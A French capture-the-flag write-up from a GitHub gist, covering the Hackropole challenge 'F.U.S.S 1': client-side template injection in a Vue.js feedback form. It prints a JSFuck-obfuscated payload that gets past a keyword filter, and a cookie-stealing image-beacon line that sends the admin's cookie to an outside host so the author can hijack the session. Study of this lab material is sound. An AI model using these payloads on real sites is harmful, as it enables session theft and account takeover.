Skip to content

Instantly share code, notes, and snippets.

@dz-root
Created March 7, 2024 00:32
Show Gist options
  • Save dz-root/cff7321607cddc16a63916b2bba7b604 to your computer and use it in GitHub Desktop.
Save dz-root/cff7321607cddc16a63916b2bba7b604 to your computer and use it in GitHub Desktop.
F.U.S.S 1

Hackropole

Writeup F.U.S.S 1

Description

  • Auteur: Cryptanalyse
  • Difficulté : ⭐ épreuve facile

On vous demande d’auditer cette solution de feedback dévéloppée par la société Feedback Unlimited Secure Solutions (FUSS).

Solution

Appriorie l'interface utilisateur est en Vue Js, j'ai donc essayé d'envoyer un feedback en utilisant l'interpolation.

{{ 7*7 }} // retourne -> 49, ça fonctionne !

Interpolation

En se basant sur des ressources qui parlent de CSTI Client Side Template Injection, j'ai essayé pas mal de truc, j'ai constaté que certaines fonctions sont blacklistés comme alert() par exemple.

Filter

{{ 'a'.ToUpperCase() }} // 'A'
{{ alert(1) }} // Error!Hacker detected! This event will be reported.

Pour bypasser ce filtre, j'ai utilisé JSFuck

// JSFuck (https://jsfuck.com/)
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])

Et..., ça fonctionne ! 🤩 XSS

Remarque: il n'y a pas de limitation sur le nombre de caractère lorsqu'on laisse un feedback, ce qui est génial! La suite est assez simple! récupérer le cookie de l'admin pour pouvoir accéder à la page /flag

var i=new Image;i.src="https://monsite.site/?cookie="+document.cookie;

Ce qui donne en JSFuck:

[][(![]+[])[+[]]+(![]+[])[!+[]...(21904 chars)

Cela consiste à créer une image et définir mon site comme source de l'image en faisant passer le cookie de l'admin en paramètre. Lorsque l'admin se connect pour modérer mon feedback, l'image essaye de charger (Une requete est envoyer vers mon serveur avec le cookie de l'admin). Pour cela j'utilise le service http:s//webhook.site/ comme alternative à mon propre site.

Une fois le cookie récupérer, F12 pour ouvrir l'inspecteur du navigateur et renseigner le cookie de l'admin à fin de pouvoir accéder à la page /flag et récupérer le FLAG.

Flag

Ressources

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment